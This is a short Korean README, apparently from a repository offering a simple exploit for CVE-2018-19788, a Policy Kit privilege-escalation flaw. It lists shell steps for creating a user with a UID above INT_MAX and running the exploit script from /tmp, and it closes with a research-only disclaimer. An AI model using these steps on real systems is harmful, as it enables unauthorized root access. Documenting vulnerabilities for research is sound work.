absozed/cve-2018-19788CVE-2018-19788용 초간단 익스플로잇
CVE-2018-19788에 대한 매우 간단한 익스플로잇
사용하려면 Policy Kit에서 UID가 INT_MAX보다 큰 사용자를 생성하거나, 이미 해당 UID를 가진 낮은 권한의 사용자가 있어야 합니다.
사용자 생성 시 UID는 다음과 같이 지정할 수 있으며, 스크립트 실행 전에 사용됩니다:
$ useradd -u 4000000001 PrivEsc
$ passwd PrivEsc
$ su PrivEsc
$ chmod +x /tmp/CVE-2018-19788_PrivEsc.sh
$ ./tmp/CVE-2018-19788_PrivEsc.sh
이는 단순히 연구 목적으로 제공되며, 이 저장소나 다른 곳에 있는 코드의 사용에 대한 책임은 상식에 따라 사용자 본인에게 있습니다.